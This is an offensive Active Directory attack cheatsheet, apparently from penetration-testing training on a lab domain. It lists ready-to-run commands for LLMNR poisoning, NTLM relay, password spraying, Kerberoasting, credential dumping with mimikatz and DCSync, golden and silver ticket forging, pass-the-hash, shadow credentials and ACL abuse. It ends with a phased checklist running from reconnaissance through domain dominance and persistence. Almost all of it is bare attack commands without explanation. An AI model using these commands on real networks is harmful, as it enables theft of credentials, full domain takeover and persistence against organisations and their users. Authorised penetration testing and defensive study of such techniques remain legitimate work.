Cheatsheet
Hashcat Modes for AD
5600 NetNTLMv2 (Responder captures)
13100 Kerberoast TGS (RC4)
19700 Kerberoast TGS (AES256)
18200 AS-REP Roast (RC4)
1000 NTLM
Responder — LLMNR/NBT-NS Poisoning
sudo responder -I eth0 -A # passive / analyze mode
sudo responder -I eth0 -w -d # active with WPAD, poison DHCPv6
sudo responder -I eth0 -wrf --lm # aggressive — downgrade & LM
# Logs & hashes: /usr/share/responder/logs/
# Config: /usr/share/responder/Responder.conf # disable SMB/HTTP before relay
Inveigh (Windows)
Import-Module .\Inveigh.ps1
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
.\Inveigh.exe # C# version
NTLM Relay (ntlmrelayx)
# Relay SMB -> SMB (requires signing disabled on target)
sudo ntlmrelayx.py -tf targets.txt -smb2support
# Relay to LDAP — dump info
sudo ntlmrelayx.py -t ldap://DC01 --dump-adcs
# Relay to AD CS Web Enrollment (PetitPotam / ESC8)
sudo ntlmrelayx.py -t http://CA01/certsrv/certfnsh.asp --adcs --template DomainController
# IPv6 poisoning
sudo mitm6 -d inlanefreight.local
Kerbrute
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 users.txt -o valid_users.txt
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 users.txt 'Welcome1'
kerbrute bruteuser -d inlanefreight.local --dc 172.16.5.5 passwords.txt forend
enum4linux-ng / rpcclient / ldapsearch (unauth)
enum4linux-ng -A 172.16.5.5 -oA results
rpcclient -U "" -N 172.16.5.5
# > querydominfo / getdompwinfo / enumdomusers / enumdomgroups / queryuser 0x457
ldapsearch -H ldap://172.16.5.5 -x -b "DC=inlanefreight,DC=local" "(objectclass=user)" sAMAccountName
ldapsearch -H ldap://172.16.5.5 -x -b "DC=inlanefreight,DC=local" | grep -m1 -B10 pwdHistoryLength
lookupsid (RID brute)
lookupsid.py anonymous@172.16.5.5 20000
lookupsid.py INLANEFREIGHT.LOCAL/forend:'pw'@172.16.5.5 | grep SidTypeUser
netexec / crackmapexec (SMB)
netexec smb 172.16.5.5 -u user -p pass --users
netexec smb 172.16.5.5 -u user -p pass --groups
netexec smb 172.16.5.5 -u user -p pass --shares --loggedon-users
netexec smb 172.16.5.5 -u user -p pass --pass-pol
netexec smb 172.16.5.5 -u users.txt -p 'Welcome1' --continue-on-success | grep '+'
netexec smb --local-auth 172.16.5.0/23 -u administrator -H <NTLM> | grep +
netexec smb 172.16.5.5 -u user -p pass -M spider_plus --shares 'Department Shares'
netexec smb 172.16.5.5 -u user -p pass -M gpp_autologin -M gpp_password
netexec ldap 172.16.5.5 -u user -p pass --kerberoasting out.hash
netexec ldap 172.16.5.5 -u user -p pass --asreproast out.hash
Impacket One-Liners
# User & SPN enum
GetADUsers.py -all INLANEFREIGHT.LOCAL/forend:'pw' -dc-ip 172.16.5.5
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request -outputfile spns.tgs
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley -outputfile x.hash
GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile users.txt
GetNPUsers.py INLANEFREIGHT.LOCAL/forend:'pw' -request -format hashcat
# Execution
psexec.py INLANEFREIGHT.LOCAL/user:'pw'@172.16.5.125
wmiexec.py INLANEFREIGHT.LOCAL/user:'pw'@172.16.5.125
smbexec.py INLANEFREIGHT.LOCAL/user:'pw'@172.16.5.125
atexec.py INLANEFREIGHT.LOCAL/user:'pw'@172.16.5.125 whoami
# Pass-the-hash
psexec.py -hashes :<NT> INLANEFREIGHT.LOCAL/administrator@172.16.5.5
# DCSync
secretsdump.py -just-dc INLANEFREIGHT.LOCAL/adunn@172.16.5.5
secretsdump.py -just-dc-user INLANEFREIGHT/administrator INLANEFREIGHT.LOCAL/adunn@172.16.5.5
secretsdump.py -outputfile loot -just-dc INLANEFREIGHT.LOCAL/adunn@172.16.5.5
# Kerberos tickets
getTGT.py INLANEFREIGHT.LOCAL/user:'pw' -dc-ip 172.16.5.5
getST.py -spn cifs/dc01 INLANEFREIGHT.LOCAL/user -impersonate administrator
ticketer.py -nthash <krbtgt> -domain-sid <child-SID> -domain CHILD.LOCAL \
-extra-sid <parent-EA-SID> hacker
ticketConverter.py ticket.ccache ticket.kirbi
# DNS
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r
# AD CS & coerce
PetitPotam.py <attacker-ip> <dc-ip>
coercer.py coerce -u forend -p 'pw' -t <dc> -l <attacker>
Certipy-ad find -u user -p pw -dc-ip 172.16.5.5 -vulnerable
PowerView — enumeration
Import-Module .\PowerView.ps1
Get-Domain ; Get-DomainController ; Get-DomainPolicy
Get-DomainUser -Identity user -Properties samaccountname,description,memberof,admincount,serviceprincipalname,useraccountcontrol
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName
Get-DomainUser -PreauthNotRequired
Get-DomainUser -UACFilter PASSWD_NOTREQD
Get-DomainGroup -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainComputer -Properties name,operatingsystem,msds-allowedtodelegateto
Get-DomainComputer -Unconstrained ; Get-DomainComputer -TrustedToAuth
Get-DomainTrust ; Get-DomainTrustMapping ; Get-ForestTrust
Get-DomainForeignGroupMember -Domain FOREIGN.LOCAL
Find-InterestingDomainAcl -ResolveGUIDs
Find-LocalAdminAccess ; Find-DomainUserLocation
Find-InterestingDomainShareFile -Include *passwd*,*cred*,*.config
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
PowerView — abuse
# Force change password
Set-DomainUserPassword -Identity victim -AccountPassword $pw -Credential $Cred
# Add to group
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members victim -Credential $Cred
# Set fake SPN -> targeted Kerberoast
Set-DomainObject -Identity adunn -SET @{serviceprincipalname='fake/LEGIT'} -Credential $Cred
# Clear SPN after roast
Set-DomainObject -Identity adunn -Clear serviceprincipalname -Credential $Cred
# Grant yourself DCSync via WriteDacl
Add-DomainObjectAcl -TargetIdentity 'DC=inlanefreight,DC=local' -PrincipalIdentity you -Rights DCSync
AD Module (LOTL)
Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Get-ADUser -Filter 'userAccountControl -band 4194304' -Properties userAccountControl # DONT_REQ_PREAUTH
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl # reversible encryption
Get-ADGroup -Filter * | select name
Get-ADGroupMember "Domain Admins"
Get-ADTrust -Filter *
Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation
Rubeus
# Kerberoast
.\Rubeus.exe kerberoast /stats
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap /outfile:roast.hash
.\Rubeus.exe kerberoast /user:adunn /tgtdeleg /nowrap # force RC4 on AES-only (<2019)
# AS-REP roast
.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat
# Ticket extraction
.\Rubeus.exe triage ; .\Rubeus.exe dump /luid:0x... /nowrap
.\Rubeus.exe tgtdeleg /nowrap
# Pass-the-ticket / overpass / S4U
.\Rubeus.exe ptt /ticket:ticket.kirbi
.\Rubeus.exe asktgt /user:adm /rc4:<NT> /ptt
.\Rubeus.exe asktgt /user:adm /certificate:<BASE64> /ptt # PKINIT (ADCS)
.\Rubeus.exe s4u /user:host$ /rc4:<NT> /impersonateuser:administrator /msdsspn:cifs/dc01 /ptt
# Golden ticket
.\Rubeus.exe golden /rc4:<krbtgt> /domain:X /sid:<domSID> /user:hacker /ptt
.\Rubeus.exe golden /aes256:<krbtgt> /domain:X /sid:<domSID> /user:hacker /sids:<EA-SID> /ptt
Mimikatz
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets /export
lsadump::sam ; lsadump::secrets ; lsadump::cache
lsadump::dcsync /domain:inlanefreight.local /user:inlanefreight\krbtgt
lsadump::dcsync /user:inlanefreight\administrator
kerberos::list /export
kerberos::ptt ticket.kirbi
kerberos::golden /user:hacker /domain:X /sid:<domSID> /krbtgt:<NT> /ptt
kerberos::golden /user:Administrator /domain:X /sid:<domSID> /target:srv01 /service:cifs /rc4:<svc-NT> /ptt # silver
misc::efs /server:<DC> /connect:<attacker> # PetitPotam variant
BloodHound Collection
# Linux
bloodhound-python -u forend -p Klmcargo2 -ns 172.16.5.5 -d inlanefreight.local -c all
zip -r bh.zip *.json
# Windows (SharpHound)
.\SharpHound.exe -c All --zipfilename BH
.\SharpHound.exe -c All,GPOLocalGroup --domaincontroller DC01
BloodHound Queries (Cypher)
// Who is Kerberoastable?
MATCH (u:User {hasspn:true}) RETURN u.name
// Who is AS-REP Roastable?
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
// CanPSRemote path from current user
MATCH p=shortestPath((u:User {owned:true})-[:MemberOf|CanPSRemote*1..]->(c:Computer)) RETURN p
// Shortest path to Domain Admins
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@X"})) RETURN p
// Unconstrained delegation hosts
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
// DCSync principals
MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain) RETURN u.name
Snaffler / PingCastle / LAPS
.\snaffler.exe -s -d inlanefreight.local -o snaf.log -v data
.\PingCastle.exe --healthcheck --server inlanefreight.local
Find-LAPSDelegatedGroups ; Find-AdmPwdExtendedRights ; Get-LAPSComputers
Golden Ticket Template (Impacket)
# Need: krbtgt NT hash, domain SID, domain FQDN
ticketer.py -nthash <krbtgt-NT> -domain-sid <DOM-SID> -domain INLANEFREIGHT.LOCAL administrator
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@dc01.inlanefreight.local
Silver Ticket Template
# Need: service account NT hash, SPN, domain SID
ticketer.py -nthash <svc-NT> -domain-sid <DOM-SID> -domain INLANEFREIGHT.LOCAL \
-spn cifs/srv01.inlanefreight.local administrator
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@srv01.inlanefreight.local
DCSync Templates
# Linux
secretsdump.py -just-dc INLANEFREIGHT.LOCAL/adunn@172.16.5.5
# Just one account
secretsdump.py -just-dc-user INLANEFREIGHT/krbtgt INLANEFREIGHT.LOCAL/adunn@172.16.5.5
# Windows
mimikatz # lsadump::dcsync /domain:inlanefreight.local /user:inlanefreight\krbtgt
Shadow Credentials (msDS-KeyCredentialLink)
# Windows
.\Whisker.exe add /target:DC01$
.\Rubeus.exe asktgt /user:DC01$ /certificate:<pfx-b64> /password:<pw> /ptt
# Linux
pywhisker.py -d inlanefreight.local -u adunn -p pw --target victim --action add
gettgtpkinit.py inlanefreight.local/victim -cert-pfx victim.pfx victim.ccache
Useful Well-Known SIDs & RIDs
S-1-5-18 LOCAL SYSTEM
S-1-5-32-544 BUILTIN\Administrators
S-1-5-21-...-500 Built-in Administrator (RID 500)
S-1-5-21-...-512 Domain Admins
S-1-5-21-...-519 Enterprise Admins
S-1-5-21-...-518 Schema Admins
S-1-5-21-...-513 Domain Users
Checklist
Phase 1 — External Recon (no creds)
Phase 2 — Unauth Internal
Phase 3 — Poisoning
Phase 4 — Password Policy & User List
Phase 5 — Password Spraying
Phase 7 — Credentialed Enum (Linux)
Phase 8 — Credentialed Enum (Windows)
Phase 9 — Kerberoasting / AS-REP
Phase 10 — ACL / DCSync
Phase 11 — Bleeding-Edge Quick Wins
Phase 12 — Misconfigurations
Phase 13 — Lateral Movement
Phase 14 — Trust Enumeration & Attack
Phase 15 — Domain Dominance & Persistence
Cleanup